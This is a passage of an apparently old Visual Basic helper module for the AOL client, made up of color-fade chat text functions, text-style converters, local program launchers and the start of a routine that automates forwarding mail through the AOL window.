  2968.     For B = 1 To a
  2969.         c = Left(Text1, B)
  2970.         D = Right(c, 1)
  2971.         E = 255 / a
  2972.         F = E * B
  2973.         G = RGB(255 - F, 255 - F, 255)
  2974.         h = RGBtoHEX(G)
  2975.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2976.     Next B
  2977.    ErrorRsenD (Msg)
  2978. End Function
  2979.  
  2980. Function GreyYellow2(Text1)
  2981.     a = Len(Text1)
  2982.     For B = 1 To a
  2983.         c = Left(Text1, B)
  2984.         D = Right(c, 1)
  2985.         E = 255 / a
  2986.         F = E * B
  2987.         G = RGB(255 - F, 255, 255)
  2988.         h = RGBtoHEX(G)
  2989.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2990.     Next B
  2991.    ErrorRsenD (Msg)
  2992. End Function
  2993.  
  2994. Function PurpleBlack2(Text1)
  2995.     a = Len(Text1)
  2996.     For B = 1 To a
  2997.         c = Left(Text1, B)
  2998.         D = Right(c, 1)
  2999.         E = 255 / a
  3000.         F = E * B
  3001.         G = RGB(255 - F, 0, 255 - F)
  3002.         h = RGBtoHEX(G)
  3003.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3004.     Next B
  3005.     ErrorRsenD (Msg)
  3006. End Function
  3007.  
  3008. Function PurpleBlue2(Text1)
  3009.     a = Len(Text1)
  3010.     For B = 1 To a
  3011.         c = Left(Text1, B)
  3012.         D = Right(c, 1)
  3013.         E = 255 / a
  3014.         F = E * B
  3015.         G = RGB(255, 0, 255 - F)
  3016.         h = RGBtoHEX(G)
  3017.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3018.     Next B
  3019.    ErrorRsenD (Msg)
  3020. End Function
  3021.  
  3022. Function PurpleGreen2(Text1)
  3023.     a = Len(Text1)
  3024.     For B = 1 To a
  3025.         c = Left(Text1, B)
  3026.         D = Right(c, 1)
  3027.         E = 255 / a
  3028.         F = E * B
  3029.         G = RGB(255 - F, F, 255 - F)
  3030.         h = RGBtoHEX(G)
  3031.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3032.     Next B
  3033.    ErrorRsenD (Msg)
  3034. End Function
  3035.  
  3036. Function PurpleRed2(Text1)
  3037.     a = Len(Text1)
  3038.     For B = 1 To a
  3039.         c = Left(Text1, B)
  3040.         D = Right(c, 1)
  3041.         E = 255 / a
  3042.         F = E * B
  3043.         G = RGB(255 - F, 0, 255)
  3044.         h = RGBtoHEX(G)
  3045.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3046.     Next B
  3047.    ErrorRsenD (Msg)
  3048. End Function
  3049.  
  3050. Function PurpleYellow2(Text1)
  3051.     a = Len(Text1)
  3052.     For B = 1 To a
  3053.         c = Left(Text1, B)
  3054.         D = Right(c, 1)
  3055.         E = 255 / a
  3056.         F = E * B
  3057.         G = RGB(255 - F, F, 255)
  3058.         h = RGBtoHEX(G)
  3059.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3060.     Next B
  3061.   ErrorRsenD (Msg)
  3062. End Function
  3063.  
  3064. Function RedBlack2(Text1)
  3065.     a = Len(Text1)
  3066.     For B = 1 To a
  3067.         c = Left(Text1, B)
  3068.         D = Right(c, 1)
  3069.         E = 255 / a
  3070.         F = E * B
  3071.         G = RGB(0, 0, 255 - F)
  3072.         h = RGBtoHEX(G)
  3073.         Msg = Msg & "<b><s><u><Font Color=#" & h & ">" & D
  3074.     Next B
  3075.     ErrorRsenD (Msg)
  3076. End Function
  3077.  
  3078. Function RedBlue2(Text1)
  3079.     a = Len(Text1)
  3080.     For B = 1 To a
  3081.         c = Left(Text1, B)
  3082.         D = Right(c, 1)
  3083.         E = 255 / a
  3084.         F = E * B
  3085.         G = RGB(F, 0, 255 - F)
  3086.         h = RGBtoHEX(G)
  3087.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3088.     Next B
  3089. ErrorRsenD (Msg)
  3090. End Function
  3091.  
  3092. Function RedGreen2(Text1)
  3093.     a = Len(Text1)
  3094.     For B = 1 To a
  3095.         c = Left(Text1, B)
  3096.         D = Right(c, 1)
  3097.         E = 255 / a
  3098.         F = E * B
  3099.         G = RGB(0, F, 255 - F)
  3100.         h = RGBtoHEX(G)
  3101.         Msg = Msg & "<b><Font Color=#" & h & "></b>" & D
  3102.     Next B
  3103.     ErrorRsenD (Msg)
  3104. End Function
  3105.  
  3106. Function RedPurple2(Text1)
  3107.     a = Len(Text1)
  3108.     For B = 1 To a
  3109.         c = Left(Text1, B)
  3110.         D = Right(c, 1)
  3111.         E = 255 / a
  3112.         F = E * B
  3113.         G = RGB(F, 0, 255)
  3114.         h = RGBtoHEX(G)
  3115.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3116.     Next B
  3117.     ErrorRsenD (Msg)
  3118. End Function
  3119.  
  3120. Function RedYellow2(Text1)
  3121.     a = Len(Text1)
  3122.     For B = 1 To a
  3123.         c = Left(Text1, B)
  3124.         D = Right(c, 1)
  3125.         E = 255 / a
  3126.         F = E * B
  3127.         G = RGB(0, F, 255)
  3128.         h = RGBtoHEX(G)
  3129.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3130.     Next B
  3131.     ErrorRsenD (Msg)
  3132. End Function
  3133. Public Function ReverseString(MyString As String) As String
  3134.     Dim TempString As String, StringLength As Long
  3135.     Dim Count As Long, NextChr As String, NewString As String
  3136.     TempString$ = MyString$
  3137.     StringLength& = Len(TempString$)
  3138.     Do While Count& <= StringLength&
  3139.         Count& = Count& + 1
  3140.         NextChr$ = Mid$(TempString$, Count&, 1)
  3141.         NewString$ = NextChr$ & NewString$
  3142.     Loop
  3143.     ReverseString$ = NewString$
  3144. End Function
  3145.  
  3146. Function YellowBlack2(Text1)
  3147.     a = Len(Text1)
  3148.     For B = 1 To a
  3149.         c = Left(Text1, B)
  3150.         D = Right(c, 1)
  3151.         E = 255 / a
  3152.         F = E * B
  3153.         G = RGB(0, 255 - F, 255 - F)
  3154.         h = RGBtoHEX(G)
  3155.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3156.     Next B
  3157.   ErrorRsenD (Msg)
  3158. End Function
  3159.  
  3160. Function YellowBlue2(Text1)
  3161.     a = Len(Text1)
  3162.     For B = 1 To a
  3163.         c = Left(Text1, B)
  3164.         D = Right(c, 1)
  3165.         E = 255 / a
  3166.         F = E * B
  3167.         G = RGB(F, 255 - F, 255 - F)
  3168.         h = RGBtoHEX(G)
  3169.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3170.     Next B
  3171.     ErrorRsenD (Msg)
  3172. End Function
  3173.  
  3174. Function YellowGreen2(Text1)
  3175.     a = Len(Text1)
  3176.     For B = 1 To a
  3177.         c = Left(Text1, B)
  3178.         D = Right(c, 1)
  3179.         E = 255 / a
  3180.         F = E * B
  3181.         G = RGB(0, 255, 255 - F)
  3182.         h = RGBtoHEX(G)
  3183.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3184.     Next B
  3185.    ErrorRsenD (Msg)
  3186. End Function
  3187.  
  3188. Function YellowPurple2(Text1)
  3189.     a = Len(Text1)
  3190.     For B = 1 To a
  3191.         c = Left(Text1, B)
  3192.         D = Right(c, 1)
  3193.         E = 255 / a
  3194.         F = E * B
  3195.         G = RGB(F, 255 - F, 255)
  3196.         h = RGBtoHEX(G)
  3197.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3198.     Next B
  3199.     ErrorRsenD (Msg)
  3200. End Function
  3201.  
  3202. Function YellowRed2(Text1)
  3203.     a = Len(Text1)
  3204.     For B = 1 To a
  3205.         c = Left(Text1, B)
  3206.         D = Right(c, 1)
  3207.         E = 255 / a
  3208.         F = E * B
  3209.         G = RGB(0, 255 - F, 255)
  3210.         h = RGBtoHEX(G)
  3211.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3212.     Next B
  3213.   ErrorRsenD (Msg)
  3214. End Function
  3215.  
  3216.  
  3217. 'Pre-set 3 Color fade combinations begin here
  3218.  
  3219.  
  3220. Function BlackBlueBlack2(Text1)
  3221.     a = Len(Text1)
  3222.     For B = 1 To a
  3223.         c = Left(Text1, B)
  3224.         D = Right(c, 1)
  3225.         E = 510 / a
  3226.         F = E * B
  3227.         If F > 255 Then F = (255 - (F - 255))
  3228.         G = RGB(F, 0, 0)
  3229.         h = RGBtoHEX(G)
  3230.         Msg = Msg & "<B><Font Color=#" & h & ">" & D
  3231.     Next B
  3232.    ErrorRsenD (Msg)
  3233. End Function
  3234.  
  3235. Function BlackGreenBlack2(Text1)
  3236.     a = Len(Text1)
  3237.     For B = 1 To a
  3238.         c = Left(Text1, B)
  3239.         D = Right(c, 1)
  3240.         E = 510 / a
  3241.         F = E * B
  3242.         If F > 255 Then F = (255 - (F - 255))
  3243.         G = RGB(0, F, 0)
  3244.         h = RGBtoHEX(G)
  3245.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3246.     Next B
  3247.    ErrorRsenD (Msg)
  3248. End Function
  3249.  
  3250.  
  3251. Function GreenBlackGreen(Text1)
  3252.     a = Len(Text1)
  3253.     For B = 1 To a
  3254.         c = Left(Text1, B)
  3255.         D = Right(c, 1)
  3256.         E = 510 / a
  3257.         F = E * B
  3258.         If F > 255 Then F = (255 - (F - 255))
  3259.         G = RGB(0, 255 - F, 0)
  3260.         h = RGBtoHEX(G)
  3261.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3262.     Next B
  3263.    ErrorRsenD (Msg)
  3264. End Function
  3265.  
  3266. Function GreenBlueGreen(Text1)
  3267.     a = Len(Text1)
  3268.     For B = 1 To a
  3269.         c = Left(Text1, B)
  3270.         D = Right(c, 1)
  3271.         E = 510 / a
  3272.         F = E * B
  3273.         If F > 255 Then F = (255 - (F - 255))
  3274.         G = RGB(F, 255 - F, 0)
  3275.         h = RGBtoHEX(G)
  3276.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3277.     Next B
  3278.   ErrorRsenD (Msg)
  3279. End Function
  3280.  
  3281. Sub WritePadd(TheExe As String)
  3282.     Dim Shellz As Long, NoFreeze As Long
  3283.  
  3284.     Shellz& = Shell("c:\windows\write.exe", 1): NoFreeze& = DoEvents()
  3285. End Sub
  3286. Function Talker_ieet(strin As String) As String
  3287. 'From ErrorR.bas edited by |2eV
  3288. '  How to use:
  3289. '  ReV = talker_ieet(text1.text)
  3290. '  ErrorRsenD(ReV)
  3291.  
  3292.     Dim NextChr As String, inptxt As String, lenth As Integer
  3293.     Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer
  3294.     
  3295.     Let inptxt$ = strin
  3296.     Let lenth% = Len(inptxt$)
  3297.     
  3298.     Do While NumSpc% <= lenth%
  3299.     DoEvents
  3300.     Let NumSpc% = NumSpc% + 1
  3301.     Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  3302.     Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2)
  3303.     If NextChrr$ = "ae" Then Let NextChrr$ = "ae": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3304.     If NextChrr$ = "AE" Then Let NextChrr$ = "ae": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3305.     If NextChrr$ = "oe" Then Let NextChrr$ = "oe": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3306.     If NextChrr$ = "OE" Then Let NextChrr$ = "oe": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3307.     If Crapp% > 0 Then GoTo send
  3308.     
  3309.     If NextChr$ = "A" Then Let NextChr$ = "a"
  3310.     If NextChr$ = "a" Then Let NextChr$ = "a"
  3311.     If NextChr$ = "B" Then Let NextChr$ = "b"
  3312.     If NextChr$ = "C" Then Let NextChr$ = "c"
  3313.     If NextChr$ = "c" Then Let NextChr$ = "c"
  3314.     If NextChr$ = "D" Then Let NextChr$ = "d"
  3315.     If NextChr$ = "d" Then Let NextChr$ = "d"
  3316.     If NextChr$ = "E" Then Let NextChr$ = "e"
  3317.     If NextChr$ = "e" Then Let NextChr$ = "e"
  3318.     If NextChr$ = "f" Then Let NextChr$ = "f"
  3319.     If NextChr$ = "H" Then Let NextChr$ = "h"
  3320.     If NextChr$ = "I" Then Let NextChr$ = "I"
  3321.     If NextChr$ = "i" Then Let NextChr$ = "I"
  3322.     If NextChr$ = "k" Then Let NextChr$ = "k"
  3323.     If NextChr$ = "K" Then Let NextChr$ = "k"
  3324.     If NextChr$ = "L" Then Let NextChr$ = "l"
  3325.     If NextChr$ = "M" Then Let NextChr$ = "m"
  3326.     If NextChr$ = "m" Then Let NextChr$ = "m"
  3327.     If NextChr$ = "N" Then Let NextChr$ = "n"
  3328.     If NextChr$ = "n" Then Let NextChr$ = "n"
  3329.     If NextChr$ = "O" Then Let NextChr$ = "o"
  3330.     If NextChr$ = "o" Then Let NextChr$ = "o"
  3331.     If NextChr$ = "P" Then Let NextChr$ = "p"
  3332.     If NextChr$ = "p" Then Let NextChr$ = "p"
  3333.     If NextChr$ = "r" Then Let NextChr$ = "r"
  3334.     If NextChr$ = "S" Then Let NextChr$ = "s"
  3335.     If NextChr$ = "s" Then Let NextChr$ = "s"
  3336.     If NextChr$ = "t" Then Let NextChr$ = "t"
  3337.     If NextChr$ = "U" Then Let NextChr$ = "u"
  3338.     If NextChr$ = "u" Then Let NextChr$ = "u"
  3339.     If NextChr$ = "V" Then Let NextChr$ = "v"
  3340.     If NextChr$ = "W" Then Let NextChr$ = "w"
  3341.     If NextChr$ = "w" Then Let NextChr$ = "w"
  3342.     If NextChr$ = "X" Then Let NextChr$ = "x"
  3343.     If NextChr$ = "x" Then Let NextChr$ = "x"
  3344.     If NextChr$ = "Y" Then Let NextChr$ = "y"
  3345.     If NextChr$ = "y" Then Let NextChr$ = "y"
  3346.     Let NewSent$ = NewSent$ + NextChr$
  3347.  
  3348. send:
  3349. If Crapp% > 0 Then Let Crapp% = Crapp% - 1
  3350. DoEvents
  3351. Loop
  3352. Talker_ieet = NewSent$
  3353. End Function
  3354.  
  3355. Function Talker_Dot(strin As String) As String
  3356. 'From ErrorR.Bas
  3357. '  How to use:
  3358. '  ReV = talker_dot(text1.text)
  3359. '  ErrorRsenD, or phaded coler(ReV)
  3360.  
  3361.     Dim NextChr As String, inptxt As String, lenth As Integer
  3362.     Dim NumSpc As Integer, NewSent As String, Dotz As String
  3363.     
  3364.     Let inptxt$ = strin
  3365.     Let lenth% = Len(inptxt$)
  3366.     Do While NumSpc% <= lenth%
  3367.         Let NumSpc% = NumSpc% + 1
  3368.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  3369.         Let NextChr$ = NextChr$ + "ò"
  3370.         Let NewSent$ = NewSent$ + NextChr$
  3371.     Loop
  3372.     Dotz$ = NewSent$
  3373.     Talker_Dot = Dotz$
  3374. End Function
  3375. Sub Explorer(TheExe As String)
  3376.     Dim Shellz As Long, NoFreeze As Long
  3377.  
  3378.     Shellz& = Shell("c:\windows\Explorer.exe", 1): NoFreeze& = DoEvents()
  3379. End Sub
  3380. Sub Paint(TheExe As String)
  3381.     Dim Shellz As Long, NoFreeze As Long
  3382.  
  3383.     Shellz& = Shell("c:\windows\Pbrush.exe", 1): NoFreeze& = DoEvents()
  3384. End Sub
  3385. Sub Shell_NotePad(TheExe As String)
  3386.     Dim Shellz As Long, NoFreeze As Long
  3387.  
  3388.     Shellz& = Shell("c:\windows\notepad.exe", 1): NoFreeze& = DoEvents()
  3389. End Sub
  3390.  
  3391. Function GreenPurpleGreen(Text1)
  3392.     a = Len(Text1)
  3393.     For B = 1 To a
  3394.         c = Left(Text1, B)
  3395.         D = Right(c, 1)
  3396.         E = 510 / a
  3397.         F = E * B
  3398.         If F > 255 Then F = (255 - (F - 255))
  3399.         G = RGB(F, 255 - F, F)
  3400.         h = RGBtoHEX(G)
  3401.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3402.     Next B
  3403.   ErrorRsenD (Msg)
  3404. End Function
  3405.  
  3406. Function GreenRedGreen(Text1)
  3407.     a = Len(Text1)
  3408.     For B = 1 To a
  3409.         c = Left(Text1, B)
  3410.         D = Right(c, 1)
  3411.         E = 510 / a
  3412.         F = E * B
  3413.         If F > 255 Then F = (255 - (F - 255))
  3414.         G = RGB(0, 255 - F, F)
  3415.         h = RGBtoHEX(G)
  3416.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3417.     Next B
  3418.    ErrorRsenD (Msg)
  3419. End Function
  3420.  
  3421. Function GreenYellowGreen(Text1)
  3422.     a = Len(Text1)
  3423.     For B = 1 To a
  3424.         c = Left(Text1, B)
  3425.         D = Right(c, 1)
  3426.         E = 510 / a
  3427.         F = E * B
  3428.         If F > 255 Then F = (255 - (F - 255))
  3429.         G = RGB(0, 255, F)
  3430.         h = RGBtoHEX(G)
  3431.         Msg = Msg & "<b><Font Color=#" & h & "></b>" & D
  3432.     Next B
  3433.     ErrorRsenD (Msg)
  3434. End Function
  3435.  
  3436. Function GreyBlackGrey(Text1)
  3437.     a = Len(Text1)
  3438.     For B = 1 To a
  3439.         c = Left(Text1, B)
  3440.         D = Right(c, 1)
  3441.         E = 490 / a
  3442.         F = E * B
  3443.         If F > 255 Then F = (255 - (F - 255))
  3444.         G = RGB(255 - F, 255 - F, 255 - F)
  3445.         h = RGBtoHEX(G)
  3446.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3447.     Next B
  3448.   ErrorRsenD (Msg)
  3449. End Function
  3450.  
  3451. Function GreyBlueGrey(Text1)
  3452.     a = Len(Text1)
  3453.     For B = 1 To a
  3454.         c = Left(Text1, B)
  3455.         D = Right(c, 1)
  3456.         E = 490 / a
  3457.         F = E * B
  3458.         If F > 255 Then F = (255 - (F - 255))
  3459.         G = RGB(255, 255, 255 - F)
  3460.         h = RGBtoHEX(G)
  3461.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3462.     Next B
  3463.    ErrorRsenD (Msg)
  3464. End Function
  3465.  
  3466. Function GreyGreenGrey(Text1)
  3467.     a = Len(Text1)
  3468.     For B = 1 To a
  3469.         c = Left(Text1, B)
  3470.         D = Right(c, 1)
  3471.         E = 490 / a
  3472.         F = E * B
  3473.         If F > 255 Then F = (255 - (F - 255))
  3474.         G = RGB(255 - F, 255, 255 - F)
  3475.         h = RGBtoHEX(G)
  3476.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3477.     Next B
  3478.     ErrorRsenD (Msg)
  3479. End Function
  3480.  
  3481. Function GreyPurpleGrey(Text1)
  3482.     a = Len(Text1)
  3483.     For B = 1 To a
  3484.         c = Left(Text1, B)
  3485.         D = Right(c, 1)
  3486.         E = 490 / a
  3487.         F = E * B
  3488.         If F > 255 Then F = (255 - (F - 255))
  3489.         G = RGB(255, 255 - F, 255)
  3490.         h = RGBtoHEX(G)
  3491.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3492.     Next B
  3493.     ErrorRsenD (Msg)
  3494. End Function
  3495.  
  3496. Function GreyRedGrey(Text1)
  3497.     a = Len(Text1)
  3498.     For B = 1 To a
  3499.         c = Left(Text1, B)
  3500.         D = Right(c, 1)
  3501.         E = 490 / a
  3502.         F = E * B
  3503.         If F > 255 Then F = (255 - (F - 255))
  3504.         G = RGB(255 - F, 255 - F, 255)
  3505.         h = RGBtoHEX(G)
  3506.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3507.     Next B
  3508.    ErrorRsenD (Msg)
  3509. End Function
  3510.  
  3511. Function GreyYellowGrey(Text1)
  3512.     a = Len(Text1)
  3513.     For B = 1 To a
  3514.         c = Left(Text1, B)
  3515.         D = Right(c, 1)
  3516.         E = 490 / a
  3517.         F = E * B
  3518.         If F > 255 Then F = (255 - (F - 255))
  3519.         G = RGB(255 - F, 255, 255)
  3520.         h = RGBtoHEX(G)
  3521.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3522.     Next B
  3523.    ErrorRsenD (Msg)
  3524. End Function
  3525.  
  3526. Function PurpleBlackPurple(Text1)
  3527.     a = Len(Text1)
  3528.     For B = 1 To a
  3529.         c = Left(Text1, B)
  3530.         D = Right(c, 1)
  3531.         E = 510 / a
  3532.         F = E * B
  3533.         If F > 255 Then F = (255 - (F - 255))
  3534.         G = RGB(255 - F, 0, 255 - F)
  3535.         h = RGBtoHEX(G)
  3536.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3537.     Next B
  3538. ErrorRsenD (Msg)
  3539. End Function
  3540.  
  3541. Function PurpleBluePurple(Text1)
  3542.     a = Len(Text1)
  3543.     For B = 1 To a
  3544.         c = Left(Text1, B)
  3545.         D = Right(c, 1)
  3546.         E = 510 / a
  3547.         F = E * B
  3548.         If F > 255 Then F = (255 - (F - 255))
  3549.         G = RGB(255, 0, 255 - F)
  3550.         h = RGBtoHEX(G)
  3551.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3552.     Next B
  3553.     ErrorRsenD (Msg)
  3554. End Function
  3555.  
  3556. Function PurpleGreenPurple(Text1)
  3557.     a = Len(Text1)
  3558.     For B = 1 To a
  3559.         c = Left(Text1, B)
  3560.         D = Right(c, 1)
  3561.         E = 510 / a
  3562.         F = E * B
  3563.         If F > 255 Then F = (255 - (F - 255))
  3564.         G = RGB(255 - F, F, 255 - F)
  3565.         h = RGBtoHEX(G)
  3566.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3567.     Next B
  3568.    ErrorRsenD (Msg)
  3569. End Function
  3570.  
  3571. Function PurpleRedPurple(Text1)
  3572.     a = Len(Text1)
  3573.     For B = 1 To a
  3574.         c = Left(Text1, B)
  3575.         D = Right(c, 1)
  3576.         E = 510 / a
  3577.         F = E * B
  3578.         If F > 255 Then F = (255 - (F - 255))
  3579.         G = RGB(255 - F, 0, 255)
  3580.         h = RGBtoHEX(G)
  3581.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3582.     Next B
  3583.    ErrorRsenD (Msg)
  3584. End Function
  3585.  
  3586. Function PurpleYellowPurple(Text1)
  3587.     a = Len(Text1)
  3588.     For B = 1 To a
  3589.         c = Left(Text1, B)
  3590.         D = Right(c, 1)
  3591.         E = 510 / a
  3592.         F = E * B
  3593.         If F > 255 Then F = (255 - (F - 255))
  3594.         G = RGB(255 - F, F, 255)
  3595.         h = RGBtoHEX(G)
  3596.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3597.     Next B
  3598.    ErrorRsenD (Msg)
  3599. End Function
  3600.  
  3601. Function RedBlackRed(Text1)
  3602.     a = Len(Text1)
  3603.     For B = 1 To a
  3604.         c = Left(Text1, B)
  3605.         D = Right(c, 1)
  3606.         E = 510 / a
  3607.         F = E * B
  3608.         If F > 255 Then F = (255 - (F - 255))
  3609.         G = RGB(0, 0, 255 - F)
  3610.         h = RGBtoHEX(G)
  3611.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3612.     Next B
  3613.    ErrorRsenD (Msg)
  3614. End Function
  3615.  
  3616. Function RedBlueRed(Text1)
  3617.     a = Len(Text1)
  3618.     For B = 1 To a
  3619.         c = Left(Text1, B)
  3620.         D = Right(c, 1)
  3621.         E = 510 / a
  3622.         F = E * B
  3623.         If F > 255 Then F = (255 - (F - 255))
  3624.         G = RGB(F, 0, 255 - F)
  3625.         h = RGBtoHEX(G)
  3626.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3627.     Next B
  3628.    ErrorRsenD (Msg)
  3629. End Function
  3630.  
  3631. Function RedGreenRed(Text1)
  3632.     a = Len(Text1)
  3633.     For B = 1 To a
  3634.         c = Left(Text1, B)
  3635.         D = Right(c, 1)
  3636.         E = 510 / a
  3637.         F = E * B
  3638.         If F > 255 Then F = (255 - (F - 255))
  3639.         G = RGB(0, F, 255 - F)
  3640.         h = RGBtoHEX(G)
  3641.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3642.     Next B
  3643.     ErrorRsenD (Msg)
  3644. End Function
  3645.  
  3646. Function RedPurpleRed(Text1)
  3647.     a = Len(Text1)
  3648.     For B = 1 To a
  3649.         c = Left(Text1, B)
  3650.         D = Right(c, 1)
  3651.         E = 510 / a
  3652.         F = E * B
  3653.         If F > 255 Then F = (255 - (F - 255))
  3654.         G = RGB(F, 0, 255)
  3655.         h = RGBtoHEX(G)
  3656.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3657.     Next B
  3658.   ErrorRsenD (Msg)
  3659. End Function
  3660.  
  3661. Function RedYellowRed(Text1)
  3662.     a = Len(Text1)
  3663.     For B = 1 To a
  3664.         c = Left(Text1, B)
  3665.         D = Right(c, 1)
  3666.         E = 510 / a
  3667.         F = E * B
  3668.         If F > 255 Then F = (255 - (F - 255))
  3669.         G = RGB(0, F, 255)
  3670.         h = RGBtoHEX(G)
  3671.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3672.     Next B
  3673.    ErrorRsenD (Msg)
  3674. End Function
  3675.  
  3676. Function YellowBlackYellow(Text1)
  3677.     a = Len(Text1)
  3678.     For B = 1 To a
  3679.         c = Left(Text1, B)
  3680.         D = Right(c, 1)
  3681.         E = 510 / a
  3682.         F = E * B
  3683.         If F > 255 Then F = (255 - (F - 255))
  3684.         G = RGB(0, 255 - F, 255 - F)
  3685.         h = RGBtoHEX(G)
  3686.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3687.     Next B
  3688.    ErrorRsenD (Msg)
  3689. End Function
  3690.  
  3691. Function YellowBlueYellow(Text1)
  3692.     a = Len(Text1)
  3693.     For B = 1 To a
  3694.         c = Left(Text1, B)
  3695.         D = Right(c, 1)
  3696.         E = 510 / a
  3697.         F = E * B
  3698.         If F > 255 Then F = (255 - (F - 255))
  3699.         G = RGB(F, 255 - F, 255 - F)
  3700.         h = RGBtoHEX(G)
  3701.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3702.     Next B
  3703.     ErrorRsenD (Msg)
  3704. End Function
  3705.  
  3706. Function YellowGreenYellow(Text1)
  3707.     a = Len(Text1)
  3708.     For B = 1 To a
  3709.         c = Left(Text1, B)
  3710.         D = Right(c, 1)
  3711.         E = 510 / a
  3712.         F = E * B
  3713.         If F > 255 Then F = (255 - (F - 255))
  3714.         G = RGB(0, 255, 255 - F)
  3715.         h = RGBtoHEX(G)
  3716.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3717.     Next B
  3718.  ErrorRsenD (Msg)
  3719. End Function
  3720.  
  3721. Function YellowPurpleYellow(Text1)
  3722.     a = Len(Text1)
  3723.     For B = 1 To a
  3724.         c = Left(Text1, B)
  3725.         D = Right(c, 1)
  3726.         E = 510 / a
  3727.         F = E * B
  3728.         If F > 255 Then F = (255 - (F - 255))
  3729.         G = RGB(F, 255 - F, 255)
  3730.         h = RGBtoHEX(G)
  3731.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3732.     Next B
  3733.     ErrorRsenD (Msg)
  3734. End Function
  3735.  
  3736. Function YellowRedYellow(Text1)
  3737.     a = Len(Text1)
  3738.     For B = 1 To a
  3739.         c = Left(Text1, B)
  3740.         D = Right(c, 1)
  3741.         E = 510 / a
  3742.         F = E * B
  3743.         If F > 255 Then F = (255 - (F - 255))
  3744.         G = RGB(0, 255 - F, 255)
  3745.         h = RGBtoHEX(G)
  3746.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3747.     Next B
  3748.    ErrorRsenD (Msg)
  3749. End Function
  3750. Function Server_FWD(SName As String)
  3751. 'Server_SendByIndex function ' errrrrr
  3752. Dim aol%, mdi%, Chil%, Rich%, sNum, mSpc$, last, stat%, clickit, fillit
  3753. Dim ssNum, sLast, edi2%, tit2%
  3754.  
  3755. Do: DoEvents
  3756.  aol% = FindWindow("AOL Frame25", vbNullString)
  3757.  mdi% = FindChildByClass(aol%, "MDIClient")
  3758.  Chil% = FindChildByClass(mdi%, "AOL Child")
  3759.  Rich% = FindChildByClass(Chil%, "RICHCNTL")
  3760.  sNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  3761.  mSpc$ = Space$(sNum)
  3762.  
  3763.  last = SendMessageByString(Rich%, 13, sNum + 1, mSpc$)
  3764. If InStr(LCase(mSpc$), "date:") <> 0 Then Exit Do
  3765. Loop
  3766.  
  3767.  stat% = FindChildByClass(Chil%, "_AOL_Static")
  3768.  Do: DoEvents
  3769.  ssNum = SendMessageByNum(stat%, 14, 0&, 0&)
  3770. smSpc$ = Space$(ssNum)
  3771. sLast = SendMessageByString(stat%, 13, ssNum + 1, smSpc$)
  3772.     If LCase(smSpc$) = "forward" Or stat% = 0 Then Exit Do
  3773.      stat% = GetWindow(stat%, GW_HWNDNEXT)
  3774. Loop
  3775.    
  3776. If stat% <> 0 Then
  3777. stat% = GetWindow(stat%, GW_HWNDPREV)
  3778. clickit = SendMessage(stat%, WM_LBUTTONDOWN, 0, 0&)
  3779. clickit = SendMessage(stat%, WM_LBUTTONUP, 0, 0&)
  3780.  
  3781. Do: DoEvents
  3782.  
  3783. aol2% = FindWindow("AOL Frame25", vbNullString)
  3784. mdi2% = FindChildByClass(aol2%, "MDIClient")
  3785. tit2% = findchildbytitle(mdi2%, "Fwd:")
  3786. edi2% = FindChildByClass(tit2%, "_AOL_Edit")
  3787. If tit2% <> 0 And edi2% <> 0 Then Exit Do
  3788. Loop
  3789.  
  3790. fillit = SendMessageByString(edi2%, WM_SETTEXT, 0, SName)
  3791.     For n = 1 To 4
  3792.         edi2% = GetWindow(edi2%, GW_HWNDNEXT)
  3793.     Next n
  3794. sNum2 = SendMessageByNum(edi2%, 14, 0, 0&)
  3795. fSpc$ = Space$(sNum2)
  3796. GetIt = SendMessageByString(edi2%, 13, sNum2 + 1, fSpc$)
  3797. Subj = fSpc$
  3798. If InStr(LCase(Subj), "fwd:") <> 0 Then
  3799. nSubj$ = Mid(Subj, 6, Len(Subj))
